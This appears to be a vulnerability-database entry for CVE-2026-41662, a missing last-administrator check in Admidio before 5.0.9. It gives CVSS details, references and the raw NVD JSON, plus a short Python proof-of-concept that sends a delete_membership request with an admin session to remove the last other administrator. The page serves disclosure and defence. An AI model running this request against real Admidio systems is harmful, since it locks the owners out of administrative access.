CVE-2026-41662

Description

Admidio is an open-source user management solution. Prior to version 5.0.9, Role::stopMembership() does not verify whether removing a user from the administrator role leaves zero administrators. The deprecated Membership::stopMembership() contains this safety check, but the current code path bypasses it. Any administrator can remove the last remaining other administrator, locking the entire system out of administrative access. The exploit does not require concurrent requests; sequential removals produce the same result. This issue has been patched in version 5.0.9.

CVSS Details

CVSS Score

5.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Admidio < 5.0.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
target_url = "http://target-admidio/adm_program/modules/members/members_function.php"
session_cookie = "PHPSESSID=attacker_admin_session_id" # Admin session
victim_user_id = "2" # ID of the last other admin
admin_role_id = "1" # ID of the administrator role

# Exploit Payload
payload = {
    "mode": "delete_membership",
    "usr_id": victim_user_id,
    "rol_id": admin_role_id
}

headers = {
    "Cookie": session_cookie,
    "Content-Type": "application/x-www-form-urlencoded"
}

# Send Request
response = requests.post(target_url, data=payload, headers=headers)

if response.status_code == 200:
    print("[+] Exploit sent successfully.")
    print("[+] System administrator privileges have been locked.")
else:
    print("[-] Request failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41662
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41662
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41662/
[4] VulDB https://vuldb.com/cve/CVE-2026-41662
[5] https://github.com/Admidio/admidio/releases/tag/v5.0.9
[6] https://github.com/Admidio/admidio/security/advisories/GHSA-c7xm-r6vj-8vg6
[7] https://github.com/Admidio/admidio/security/advisories/GHSA-c7xm-r6vj-8vg6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41662", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:30.080", "lastModified": "2026-05-07T15:16:08.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, Role::stopMembership() does not verify whether removing a user from the administrator role leaves zero administrators. The deprecated Membership::stopMembership() contains this safety check, but the current code path bypasses it. Any administrator can remove the last remaining other administrator, locking the entire system out of administrative access. The exploit does not require concurrent requests; sequential removals produce the same result. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:H", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-c7xm-r6vj-8vg6", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-c7xm-r6vj-8vg6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}